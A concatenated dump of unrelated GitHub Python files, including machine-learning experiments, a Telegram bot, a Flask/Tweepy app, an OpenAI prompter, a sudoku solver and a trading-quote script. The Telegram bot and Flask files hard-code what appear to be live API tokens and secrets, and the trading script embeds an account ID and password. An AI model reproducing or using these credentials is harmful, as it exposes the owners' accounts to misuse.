sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import MinMaxScaler, LabelEncoder\nfrom sklearn.impute import KNNImputer\nimport numpy as np\nimport pandas as pd\nfrom sklearn.svm import SVR\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_selection import RFECV\nfrom Model import Model\nfrom timeit import default_timer as timer\nimport sys\n\nname_of_set = 'leukemia' # leukemia, colon, lymphoma, ovarian, prostate\nT = pd.read_csv(\"data/\" + name_of_set + \".csv\", header=None)\nscaler = MinMaxScaler()\nX = T.iloc[:, 1:T.shape[1]]\n# X = X.replace(' ?', np.nan) # brakujace wartosci\n# imputer = KNNImputer(n_neighbors=2)\n# X = imputer.fit_transform(X)\nX = scaler.fit_transform(X)\ny = T.iloc[:, 0]\ny = np.where(y == 'AML', 0, 1) # AML|leukemia , negative|colon , germinal|lymphoma , cancer|ovarian , tumor|prostate\ny = LabelEncoder().fit_transform(y)\npercentage = 5\npercentage_of_set = int((T.shape[1] - 1) * 0.05)\n# sys.stdout = open(\"los_ograniczenie_nie/\" + name_of_set + \"TEST/\" + name_of_set + \"_\" + str(percentage) + \"%.txt\", \"w\")\nprint('T.shape', T.shape)\nprint('percentage_of_set ', percentage_of_set)\n\nmetricList = ['euclidean', 'manhattan', 'chebyshev', 'canberra', 'braycurtis']\nestimatorSVR = SVR(kernel=\"linear\")\nestimatorTree = DecisionTreeClassifier(max_depth=15)\nestimatorForest = RandomForestClassifier(n_jobs=-1)\nestimators = []\nestimators.append(estimatorSVR)\nestimators.append(estimatorTree)\nestimators.append(estimatorForest)\nkl = [3, 5, 7] #ilość sąsiadów\nsl = [2, 5, 10, 20] #ilość zgięć, folds\npl = [1.5, 3, 5, 10, 20] #wartości p dla metryki minkowski\nskf = StratifiedKFold(n_splits=10)\nskf.get_n_splits(X, y)\n\n\ndef create_models(estimator=None):\n models = []\n start = timer()\n for k in kl:\n for s in sl:\n for i in range(1, 5):\n for metric in metricList:\n models.append(\n Model(n_neighbors=k, metric=metric, s=s, t=0.5, aggregation=i, RFECVestimator=estimator,\n RFECV_min_n_features=percentage_of_set))\n for i in range(1, 5):\n for p in pl:\n models.append(\n Model(n_neighbors=k, metric=\"minkowski\", s=s, t=0.5, aggregation=i, RFECVestimator=estimator,\n RFECV_min_n_features=percentage_of_set,\n p=p))\n end = timer()\n print('Time create_models: ', end - start, 'Amount of models: ', len(models), estimator)\n # for model in models:\n # model.info()\n return models\n\n\ndef pred_models(models_SVR, models_Tree, models_Forest):\n start = timer()\n iter = 0\n samplesSVR = {}\n # samplesTree = {}\n # samplesForest = {}\n for train_index, test_index in skf.split(X, y):\n iter += 1\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = y[train_index], y[test_index]\n\n # # selektor SVR, Tree, Forest\n selectorSVR = RFECV(estimator=models_SVR[0].get_estimator(), min_features_to_select=percentage_of_set, step=100,\n n_jobs=-1)\n sampleSVR = selectorSVR.fit_transform(X_train, y_train)\n # selectorTree = RFECV(estimator=models_Tree[0].get_estimator(), min_features_to_select=percentage_of_set,\n # step=100,\n # n_jobs=-1)\n # sample = selectorTree.fit_transform(X_train, y_train)\n # selectorForest = RFECV(estimator=models_Forest[0].get_estimator(), min_features_to_select=percentage_of_set,\n # step=100,\n # n_jobs=-1)\n # sample = selectorForest.fit_transform(X_train, y_train)\n\n # dict przechowujacy sample dla roznych s\n for s in sl:\n samplesSVR[s] = get_sample(X_train, y_train, n_split=s, selector=selectorSVR, iter=iter,\n name_estimator='SVR')\n # samplesTree[s] = get_sample(X_train, y_train, n_split=s, selector=selectorTree, iter=iter,\n # name_estimator='Tree')\n # samplesForest[s] = get_sample(X_train, y_train, n_split=s, selector=selectorForest, iter=iter,\n # name_estimator='Forest')\n\n # modele SVR, Tree, Forest\n for model in models_SVR:\n model.info()\n sampleSVR = get_samples_dict(model=model, samples_dict=samplesSVR)\n model.fit_single_knn(X_train, y_train, sample_dict=sampleSVR)\n for key, val in sampleSVR.items():\n if type(key) is int:\n model.fit(X_train, y_train, selector=selectorSVR, sample=sampleSVR[key],\n selected_features=sampleSVR['features_true_' + str(key)])\n for model in models_SVR:\n model.score(X_test, y_test)\n model.score_for_single_knn(X_test, y_test)\n\n # for model in models_Tree:\n # model.info()\n # sampleTree = get_samples_dict(model=model, samples_dict=samplesTree)\n # model.fit_single_knn(X_train, y_train, sample_dict=sampleSVR)\n # for key, val in sampleTree.items():\n # if type(key) is int:\n # model.fit(X_train, y_train, selector=selectorTree, sample=sampleTree[key],\n # selected_features=sampleTree['features_true_' + str(key)])\n # for model in models_Tree:\n # model.score(X_test, y_test)\n # model.score_for_single_knn(X_test, y_test)\n\n # for model in models_Forest:\n # model.info()\n # sampleForest = get_samples_dict(model=model, samples_dict=samplesForest)\n # model.fit_single_knn(X_train, y_train, sample_dict=sampleSVR)\n # for key, val in sampleForest.items():\n # if type(key) is int:\n # model.fit(X_train, y_train, selector=selectorForest, sample=sampleForest[key],\n # selected_features=sampleForest['features_true_' + str(key)])\n # for model in models_Forest:\n # model.score(X_test, y_test)\n # model.score_for_single_knn(X_test, y_test)\n\n print(\"Finish iteration StratifiedKFold: \", iter)\n end = timer()\n print('Time pred_models: ', end - start)\n for model in models_SVR:\n model.info()\n model.get_result()\n # write_to_csv(\"los_ograniczenie_nie/\" + name_of_set + \"TEST/\" + name_of_set + \"_SVRlinear_\" + str(percentage) + \"%.csv\", model.result_to_file()) ODZNACZYĆ!!!!!!!!!!!!!!!!!!!!!!!!!\n # for model in models_Tree:\n # model.info()\n # model.get_result()\n # write_to_csv(\"los_ograniczenie_nie/\" + name_of_set + \"TEST/\" + name_of_set + \"_DecisionTree_\" + str(percentage) + \"%.csv\", model.result_to_file())\n # for model in models_Forest:\n # model.info()\n # model.get_result()\n # write_to_csv(\"los_ograniczenie_nie/\" + name_of_set + \"TEST/\" + name_of_set + \"_RandomForest_\" + str(percentage) + \"%.csv\", model.result_to_file())\n\n\ndef get_sample(X, y, n_split, selector, iter, name_estimator):\n # ranking = dict(enumerate(selector.ranking_.flatten(), 0))\n # ranking_best = {key: val for key, val in ranking.items() if val == 1}\n samples = {}\n features = dict(enumerate(selector.get_support().flatten(), 0))\n # print(features)\n features_true = {key: val for key, val in features.items() if val == True}\n features_keys = list(features_true.keys())\n random.shuffle(features_keys)\n # print('features_keys', features_keys)\n # if len(features_keys) > percentage_of_set:\n # features_keys = random.sample(features_keys, percentage_of_set)\n # print('features_keys sample', features_keys, len(features_keys))\n features_keys = list(split_list(features_keys, n_split))\n # print(features_keys)\n for i in range(len(features_keys)):\n samples[i] = X[:, features_keys[i]]\n samples['features_true_' + str(i)] = features_keys[i]\n print('STATS: StratifiedKFold Iter ', str(iter), 'Estimator ', name_estimator, 'S: ', n_split,\n 'count features true ', len(features_true), 's ', len(features_keys))\n return samples\n\n\ndef get_samples_dict(model, samples_dict):\n if model.get_s() == sl[0]: # s=2\n samples = samples_dict[2]\n if model.get_s() == sl[1]: # s=5\n samples = samples_dict[5]\n if model.get_s() == sl[2]: # s=10\n samples = samples_dict[10]\n if model.get_s() == sl[3]: # s=20\n samples = samples_dict[20]\n return samples\n\n\ndef split_list(seq, size):\n return (seq[i::size] for i in range(size))\n\n\ndef write_to_csv(filename, result):\n result['Date'] = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n my_file = Path(filename)\n if not my_file.is_file():\n with open(my_file, 'a') as csvfile:\n fieldnames = ['metric', 'aggregation', 'n_neighbors', 's', 'p', 'RFECV_estimator',\n 'meanAUC', 'mean_single_kNN_AUC', 'stdevAUC', 'meanACCURACY', 'mean_single_kNN_ACCURACY',\n 'stdevACCURACY',\n 'FP_Rate', 'FN_Rate', 'TP_Rate', 'TN_Rate', 'Date']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow({'metric': 'metric', 'aggregation': 'aggregation', 'n_neighbors': 'n_neighbors',\n 's': 's', 'p': 'p', 'RFECV_estimator': 'RFECV_estimator', 'meanAUC': 'meanAUC',\n 'mean_single_kNN_AUC': 'mean_single_kNN_AUC',\n 'stdevAUC': 'stdevAUC',\n 'meanACCURACY': 'meanACCURACY', 'mean_single_kNN_ACCURACY': 'mean_single_kNN_ACCURACY',\n 'stdevACCURACY': 'stdevACCURACY',\n 'FP_Rate': 'FP_Rate', 'FN_Rate': 'FN_Rate', 'TP_Rate': 'TP_Rate', 'TN_Rate': 'TN_Rate',\n 'Date': 'Date'})\n with open(my_file, 'a', newline='') as csvfile:\n fieldnames = ['metric', 'aggregation', 'n_neighbors', 's', 'p', 'RFECV_estimator',\n 'meanAUC', 'mean_single_kNN_AUC', 'stdevAUC', 'meanACCURACY', 'mean_single_kNN_ACCURACY',\n 'stdevACCURACY', 'stdevACCURACY',\n 'FP_Rate', 'FN_Rate', 'TP_Rate', 'TN_Rate', 'Date']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow(result)\n print('Save file: ', filename)\n\n\nmodels_SVR = create_models(estimator=estimators[0])\nmodels_Tree = create_models(estimator=estimators[1])\nmodels_Forest = create_models(estimator=estimators[2])\npred_models(models_SVR=models_SVR, models_Tree=models_Tree, models_Forest=models_Forest)\nsys.stdout.close()\n","repo_name":"pavvel42/Analysis-of-metrics-and-aggregation-in-the-problems-of-kNN-classifier-combination","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"728490486","text":"import logging\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\n\nfrom aiogram import Bot, Dispatcher, executor, md, types\n\nAPI_TOKEN = '2079190388:AAEXaeRE8t-KklkCJIuzWcQqyJDN3cG6ueo'\n\nlogging.basicConfig(level=logging.INFO)\nbot = Bot(token=API_TOKEN, parse_mode=types.ParseMode.MARKDOWN_V2)\ndp = Dispatcher(bot)\n\nURL = 'https://docs.aiogram.dev/en/dev-2.x/_static/logo.png'\n@dp.message_handler(commands=['image, img'])\nasync def cmd_image(message: types.Message):\n await bot.send_photo(message.chat.id, types.InputFile.from_url(URL))\n\n\n# @dp.message_handler()\n# async def check_language(message: types.Message):\n# await message.answer('asdkfjsdk')\n\nif __name__ == '__main__':\n executor.start_polling(dp, skip_updates=True)","repo_name":"vittagan/Bot","sub_path":"Bot_test.py","file_name":"Bot_test.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3015579755","text":"import math\nimport time\n\nimport numpy as np\n\nMAXLENGTH = 1000\nw = np.array((\n [0, 3, 8, np.inf, -4],\n [np.inf, 0, np.inf, 1, 7],\n [np.inf, 4, 0, np.inf, np.inf],\n [2, np.inf, -5, 0, np.inf],\n [np.inf, np.inf, np.inf, 6, 0],\n))\n\nstack = [0] * 5\n\n\ndef exist_p(u, v, curl):\n if w[u][v] and w[u][v] < MAXLENGTH:\n return stack\n else:\n for i in range(5):\n if w[u][i] and w[u][i] < MAXLENGTH:\n stack[curl] = i\n exist_p(i, v, curl + 1)\n return False\n\n\nfor i in range(5):\n for j in range(5):\n print(exist_p(i, j, 1))\n","repo_name":"miffyrcee/py","sub_path":"min_w_path.py","file_name":"min_w_path.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"40744319920","text":"import csv\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nplt.ion()\r\nfile_path=r'数据\\ex1data2.txt'\r\ndata=[]\r\nwith open(file_path,'r',encoding='utf8') as f:\r\n reader=csv.reader(f)\r\n for i in reader:\r\n x=float(i[0])\r\n y=float(i[1])\r\n z=float(i[2])\r\n data.append([x,y,z])\r\n\r\ndata=np.array(data)\r\nx=data[...,0:2]\r\ny=data[...,2]\r\nx_min=np.min(x,axis=0)\r\nx_max=np.max(x,axis=0)\r\ny_max=np.max(x)\r\ny_min=np.min(x)\r\nx=(x-x_min)/(x_max-x_min)\r\ny=(y-y_min)/(y_max-y_min)\r\nx=np.insert(x,0,1,axis=1)\r\nalpha=0.01\r\nm=x.shape[0]\r\ntheta=np.zeros(x.shape[1])\r\nnum=150000\r\n\r\nxlabel=[]\r\nylabel=[]\r\n\r\nfor i in range(num):\r\n temp=theta\r\n for j in range(x.shape[1]):\r\n if j==0:\r\n theta[j]=theta[j]-alpha/m*np.sum(np.dot(x,temp)-y)\r\n else:\r\n theta[j]=theta[j]-alpha/m*np.sum((np.dot(x,temp)-y)*x[...,j])\r\n '''\r\n price=np.sum(np.power((np.dot(x,theta)-y),2))\r\n xlabel.append(i)\r\n ylabel.append(price)\r\n plt.plot(xlabel,ylabel)\r\n plt.pause(0.1)\r\n '''\r\n\r\n\r\nprint('梯度下降法')\r\nprint(theta)\r\nprint('正规方程法')\r\ntheta=np.linalg.inv(np.dot(x.T,x))\r\ntheta=np.dot(theta,x.T)\r\ntheta=np.dot(theta,y)\r\nprint(theta)","repo_name":"CatNofishing/python-demo","sub_path":"机器学习/ex1-多变量.py","file_name":"ex1-多变量.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40222723542","text":"from flask import Flask, render_template, flash, request, Markup\nfrom wtforms import Form, TextField, TextAreaField, validators, StringField, SubmitField\nimport sys\nimport json\nimport os\nimport shutil\nfrom os import path\nfrom os import urandom\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport operation as o\npath = path.dirname(path.realpath(__file__))\napp = Flask(__name__,template_folder=path+'')\n\n#app.config['SECRET_KEY'] = '3d441f27u331c27333d331k2f3333a'\napp.config['SECRET_KEY'] = urandom(24)\n\n\nimport tweepy\nconsumer_key = \"klc9lTZuJfxAalGGOIXFjTbhr\"\nconsumer_secret = \"gPhGZE1j6egZSXTkyw5p3mZdem2VhNb8aHxfCae7PtPggJKF8q\"\naccess_token = \"1112587571622637568-BR4xHHlqA7L0e58zp0bKB9U6I5AFfj\"\naccess_token_secret = \"GrcusxoUGerHchMsbmdTFRw6ZHbnCcI7NTa85GL2LjDLu\"\n\n\nclass ReusableForm(Form):\n inp1 = TextField(\"How many days of monitoring?\")\n inp2 = TextField(\"AVG(PM2.5) µg/m3\")\n inp3 = TextField(\"%Exceedance(24h)\")\n\n\n twitter = TextField(\"What's your Twitter handle?\")\n github = TextField(\"What's your Github handle?\")\n\n@app.route(\"/air\", methods=['GET', 'POST'])\ndef hello():\n #form=ReusableForm()\n form= ReusableForm(request.form)\n #if len(form.errors) != 0:\n #print(form.errors)\n if request.method == 'POST':\n inp1=request.form['inp1']\n inp2=request.form['inp2']\n inp3=request.form['inp3']\n github=request.form['git']\n twitter=request.form['twitter']\n name=inp1+\" \"+inp2+\" \"+inp3\n print(name, \" \", twitter, \" \", github)\n try:\n if len(name) != 0:\n flash(o.input(name))\n if len(github) and len(twitter) != 0:\n url = 'https://github.com/' + github\n data = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(data, features='lxml')\n fullname = soup.find('span', {'class' : 'vcard-fullname'}).string\n username = soup.find('span', {'class' : 'vcard-username'}).string\n flash(\"Github Profile: \" +fullname+\" (@\"+username+\")\")\n\n##Tweepy Tweeps\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth)\n #search=request.args.get('twitter')\n public_tweets = api.user_timeline(twitter,count=10,page=1)\n status_list=public_tweets[0]\n status=json.dumps(status_list._json)\n texty_text=json.loads(status)\n flash(texty_text['text'])\n##TT Ends\n else:\n flash('Error: `inp1` in the form field is required.')\n except tweepy.error.TweepError:\n flash(Markup('Something went wrong while looking for tweets, pls ask the admin. here'))\n return render_template('index.html',form=form)\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0')\n","repo_name":"ankesh100/airpollhist","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30220456128","text":"import string\n\nwords_list = 'word, sdjjf, net, ska net net net'\n\ndef clean_text(words_list):\n result = []\n for word in words_list:\n new_word = ''\n has_punctuation_mark = False\n for ch in string.punctuation:\n if ch in word:\n pos = word.find(ch)\n if pos == len(word) - 1:\n new_word = word[:pos]\n elif pos < len(word):\n new_word = word[:pos] + word[pos + 1:]\n has_punctuation_mark = True\n if not has_punctuation_mark:\n new_word = word\n result.append(new_word.lower())\n return result\n\ndef count_words(words_list):\n set_words = set(words_list)\n words_dict = {word : words_list.count(word) for word in set_words}\n return words_dict\n\ndef top_10(words_dict):\n print('The top-10 words: ')\n items = words_dict.items()\n items = sorted(items, key=lambda x : x[1], reverse= True)\n for word, counter in items[:10]:\n print(word, ': ', counter)\nprint(top_10(words_list ))","repo_name":"Reginaaaaaaaa/python","sub_path":"lesson/less16.09.py","file_name":"less16.09.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"42817648276","text":"# coding=utf-8\nimport os\nfrom alexnet import alexNet\nimport cv2\nimport tensorflow as tf\nimport numpy as np\nimport caffe_classes\nimport matplotlib.pyplot as plt\n\n\nif __name__==\"__main__\":\n # step1:参数设置\n dropoutPro = 1\n classNum = 1000\n skip = []\n\n # step2:测试图像加载\n testPath = \"testImage\" # 测试图像路径\n testImg = []\n for f in os.listdir(testPath):\n testImg.append(testPath + \"/\" + f)\n\n # step3:加载模型\n imgMean = np.array([104, 117, 124], np.float)\n x = tf.placeholder(\"float\", [1, 227, 227, 3])\n model = alexNet(x, dropoutPro, classNum, skip)\n score = model.fc3\n softmax = tf.nn.softmax(score)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n model.loadModel(sess) # 加载模型\n\n for i, path in enumerate(testImg):\n \n img = plt.imread(path)\n #img = cv2.imread(path)\n test = cv2.resize(img.astype(np.float), (227, 227)) # resize成网络输入大小\n test -= imgMean # 去均值\n test = test.reshape((1, 227, 227, 3)) # 拉成tensor\n predictions = sess.run(softmax, feed_dict={x: test})\n predictions = np.squeeze(predictions)\n top_k = predictions.argsort()[-5:][::-1]\n\n for node_id in top_k: \n #获取分类名称\n class_name = caffe_classes.class_names[node_id]\n #获取该分类的置信度\n score = predictions[node_id]\n print('%s (score = %.5f)' % (class_name, score))\n \n plt.imshow(img)\n plt.axis('off')\n plt.show()\n print(path)\n print(\"-\"*30)\n \n\n","repo_name":"ghm666/Alexnet-tensorflow-testdemo","sub_path":"AlexNet Learnings/testModelDemo.py","file_name":"testModelDemo.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40652892136","text":"import openai\nimport os\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nwhile True:\n user_input = input(\"Enter a command or press q to quit:\\n\")\n if user_input.lower() == 'q':\n break\n\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n temperature=0.5,\n max_tokens=1500,\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n {\"role\": \"user\", \"content\": user_input}\n ]\n )\n\n print(response.choices[0].message.content.strip())\n","repo_name":"deniz-tuncbilek/chatGPT_desktop_application","sub_path":"prompter.py","file_name":"prompter.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38549293466","text":"\"\"\"Scotland - Babies First Names.\n\nSource:\n # noqa - https://www.nrscotland.gov.uk/statistics-and-data/statistics/statistics-by-theme/vital-events/names/babies-first-names/babies-first-names-summary-records-comma-separated-value-csv-format\n\"\"\"\nimport sys\nfrom pathlib import Path\nfrom urllib.request import Request, urlopen\n\nimport pandas as pd\n\nsys.path.append(str(Path(__file__).parent.parent))\n\nimport utils as ut # noqa\n\n# Trick site into thinking it's a browser\nurl = \"https://www.nrscotland.gov.uk/files//statistics/babies-names/20/babies-first-names-all-names-all-years.csv\" # noqa\nreq = Request(url)\nreq.add_header(\n \"User-Agent\",\n \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0\",\n)\ncontent = urlopen(req)\n\n# Read data\nnames_df = pd.read_csv(content)\n\n\n# Select the desired columns & update\ncolnames_dict = {\"FirstForename\": \"first_name\", \"sex\": \"gender\"}\nnames_df = names_df[list(colnames_dict.keys())]\nnames_df.rename(columns=colnames_dict, inplace=True)\n\n\n# Restructure into the required format\nnames_df[\"gender\"] = names_df[\"gender\"].apply(ut.remap_gender)\nnames_df[\"origin\"] = \"scotland\"\n\n# Save\nnames_df.to_csv(\n \"data/scotland_babies_first_names.csv\", sep=\"|\", index=False, encoding=\"utf-8\"\n)\n","repo_name":"diabolical-ninja/AllTheNames","sub_path":"src/data_collection/scotland_babies_first_names.py","file_name":"scotland_babies_first_names.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8020792721","text":"import sys\nimport os\nimport numpy\nimport pprint\n\npp = pprint.PrettyPrinter(indent=4)\n\ndef main(f):\n results = {}\n with open(f, \"r\") as a:\n lines = a.readlines()\n for line in lines:\n line = line.strip(\"\\n\")\n tool_calc,problem_name,answer,time = line.split(\",\")\n size, sn = problem_name.split(\"#\")\n add(results, tool_calc, size, sn, answer, time)\n stats = get_stats(results)\n pp.pprint(results)\n\ndef get_stats(results):\n stats = {}\n for key in results:\n stats[key] = {}\n for tool_calc in results[key]:\n stats[key][tool_calc] = {}\n times = [int(results[key][tool_calc][sn][1]) for sn in results[key][tool_calc]]\n per25 = numpy.percentile(times, 25)\n med = numpy.median(times)\n per75 = numpy.percentile(times, 75)\n stats[key][tool_calc][\"per25\"] = per25\n stats[key][tool_calc][\"per50\"] = med\n stats[key][tool_calc][\"per75\"] = per75\n return stats\n\n\n\ndef add(results, tool_calc, size, sn , answer, time):\n if size not in results:\n results[size] = {}\n if tool_calc not in results[size]:\n results[size][tool_calc] = {}\n results[size][tool_calc][sn] = [answer, time]\n\n\nif __name__ == \"__main__\":\n f = sys.argv[1]\n main(f)\n","repo_name":"yoni206/gen2satvsmettel","sub_path":"gen2satvsmettel/scripts/analyze_random.py","file_name":"analyze_random.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11225112650","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def getKthFromEnd(self, head: ListNode, k: int) -> ListNode:\n t = head\n cli =[]\n while t.next:\n cli.append(t)\n t=t.next\n cli.append(t)\n return cli[-k] if len(cli)>=k else cli[-k]","repo_name":"ls1248659692/leetcode","sub_path":"spider/raw/剑指 Offer 22-链表中倒数第k个节点-LCOF/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":595,"dataset":"github-code","pt":"38"} +{"seq_id":"25108345162","text":"\"\"\"\nA \"group\" is a collection of 9 Sudoku tiles, which\nmay form a row, a column, or a block (aka 'region'\nor 'box').\n\nConstraint propagation are localized here.\n\"\"\"\nimport typing\nfrom typing import Sequence\n\nimport sdk_tile\n\nimport logging\nlogging.basicConfig()\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\n\n\nclass Group(object):\n \"\"\"A group of 9 Sudoku tiles\"\"\"\n\n def __init__(self, title: str):\n \"\"\"Intially empty. The title is just for debugging.\"\"\"\n self.title = title\n self.tiles: Sequence[sdk_tile.Tile] = []\n\n def add(self, tile: sdk_tile.Tile):\n \"\"\"Add a tile to this group\"\"\"\n assert len(self.tiles) < 9\n self.tiles.append(tile)\n\n def __str__(self):\n \"\"\"Represent as string of values\"\"\"\n values = []\n for tile in self.tiles:\n values.append(tile.value)\n return self.title + \" \" + \"\".join(values)\n\n def attend(self):\n \"\"\"Announce that we are working on these tiles. A view component\n may make this visible.\n \"\"\"\n for tile in self.tiles:\n tile.attend()\n\n def unattend(self):\n \"\"\"Announce that we are done working on these tiles for now\"\"\"\n for tile in self.tiles:\n tile.unattend()\n\n def is_complete(self) -> bool:\n \"\"\"A group is complete if all of its tiles hold a\n value (not the wild-card symbol UNKNOWN)\n \"\"\"\n for tile in self.tiles:\n if tile.value == sdk_tile.UNKNOWN:\n return False\n return True\n\n def is_consistent(self) -> bool:\n \"\"\"A group is consistent if it has no duplicates,\n every tile has at least one candidate, and\n every value has a place to go.\n \"\"\"\n can_place = set()\n used = set()\n for tile in self.tiles:\n # At least one candidate?\n if len(tile.candidates) == 0:\n log.debug(\"No candidates for tile {},{}:{}\"\n .format(tile.row, tile.col, tile.value))\n return False\n # Duplicate checking\n if tile.value in used:\n # Duplicate!\n log.debug(\"Tile {},{}:{} is a duplicate\"\n .format(tile.row, tile.col, tile.value))\n return False\n elif tile.value != sdk_tile.UNKNOWN:\n used.add(tile.value)\n # A place for every tile?\n can_place = can_place | set(tile.candidates)\n if can_place != set(sdk_tile.CHOICES):\n log.debug(\"Group {}, no place for {}\"\n .format(self, set(sdk_tile.CHOICES) - can_place))\n return can_place == set(sdk_tile.CHOICES)\n\n def duplicates(self) -> Sequence[str]:\n \"\"\"One line report per duplicate found\"\"\"\n reports = []\n used = set()\n for tile in self.tiles:\n if tile.value == sdk_tile.UNKNOWN:\n continue\n elif tile.value in used:\n reports.append(\"Duplicate in {}: {}, value {}\"\n .format(self.title, self, tile.value))\n return reports\n\n # ---------------------------------\n # Constraint propagation in a group\n # ----------------------------------\n def naked_single_constrain(self) -> bool:\n \"\"\"A choice can be used at most once in the group.\"\"\"\n # Which values have already been used?\n # If any tile in the group has value X,\n # then value X can't be a candidate for any unknown\n # tile in the group\n\n self.attend()\n changed = False\n used = set()\n\n for tile in self.tiles:\n if tile.value != sdk_tile.UNKNOWN:\n used.add(tile.value)\n\n for tile in self.tiles:\n if tile.value == sdk_tile.UNKNOWN:\n #if tile.eliminate(used):\n # changed = True\n\n changed = tile.eliminate(used) or changed\n\n self.unattend()\n return changed\n\n def hidden_single_constrain(self) -> bool:\n \"\"\"Each choice must be used in the group\"\"\"\n\n # If there is exactly one tile in this\n # group that can hold value X, then that tile\n # must hold value X\n\n self.attend()\n changed = False\n\n LEFTOVERS = set(sdk_tile.CHOICES)\n\n for tile in self.tiles:\n if tile.value != sdk_tile.UNKNOWN:\n LEFTOVERS -= set(tile.value)\n\n for value in LEFTOVERS:\n places = []\n\n for tile in self.tiles:\n if tile.could_be(value):\n if len(places) == 0:\n places.append(tile)\n else:\n break\n else:\n if len(places) == 1 and self.is_consistent():\n new = places.pop()\n new.set_value(value)\n changed = True\n\n self.unattend()\n return changed\n\n","repo_name":"noahtigner/UO-ComputerScience-DataScience","sub_path":"CIS 211 - CS II/Proj 5:6 - sudoku-master/sdk_group.py","file_name":"sdk_group.py","file_ext":"py","file_size_in_byte":4984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8448766341","text":"# Referenced Dr. Case's slides on MapReduce in Python\n# mapper.py will map our data, wineData.txt, to key/value pairs\n\n# opens wineData.txt as a read only file\nf = open(\"wineData.txt\",\"r\")\n# opens o.txt as a file to write to\no = open(\"o.txt\", \"w\")\n\n# for loop to iterate through all the lines\nfor line in f:\n # sets variable, data, as each line seperated by a tab\n data = line.strip().split(\"\\t\")\n # if statement to skip bad lines\n if len(data) == 13:\n # sets variable names to each column in data\n country, description, designation, points, price, province, region_1, region_2, taster_name, taster_twitter_handle, title, variety, winery = data\n # writes the country column and points column in o.txt\n o.write(\"{0}\\t{1}\\n\".format(country, points))\n print(country + '\\t' + points + '\\n')\n\n# closes both files\nf.close()\no.close()\n","repo_name":"s523286/Wine-Reviews-By-Country","sub_path":"sum_of_points/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"39039473243","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom quote_impl import QuoteImpl\r\n# import os, sys\r\n# sys.path.append(\"..\")\r\nfrom random_policy import RandomPolicy\r\nfrom model import LRModelPolicy\r\nfrom recorder import Recorder\r\nfrom proto.type_pb2 import SDSDataType\r\n\r\nfrom time import sleep\r\nimport sys\r\nimport signal\r\nfrom tqdm import tqdm\r\n\r\n\r\nclass Quote():\r\n def __init__(self, host, port):\r\n signal.signal(signal.SIGINT, self.signal_handler)\r\n signal.signal(signal.SIGTERM, self.signal_handler)\r\n\r\n self.api_ = QuoteImpl(host, port, policy, recorder)\r\n self.stop_ = False\r\n\r\n def signal_handler(self, signal, frame):\r\n self.stop_ = True\r\n self.stop()\r\n sys.exit(0)\r\n\r\n def stop(self):\r\n self.api_.stop()\r\n\r\n def start(self):\r\n\r\n # 1. start tcp thread, connect\r\n self.api_.run()\r\n\r\n # 2. set user info\r\n self.api_.setUserInfo(\"McYSHk409183\", \"20231027\")\r\n\r\n # 3. wait api quit\r\n while not self.stop_:\r\n sleep(1)\r\n\r\ndef run_local():\r\n import pandas as pd\r\n api = QuoteImpl(\"\", \"\", policy, recorder, run_mode)\r\n df = pd.read_csv('history_quote\\\\df_20230901.csv', nrows=10000)\r\n # df = df.dropna(axis=0, how='any')\r\n df = df.sort_values([\"date\", \"times\"])\r\n for i, row in tqdm(df.iterrows(), total=len(df)):\r\n 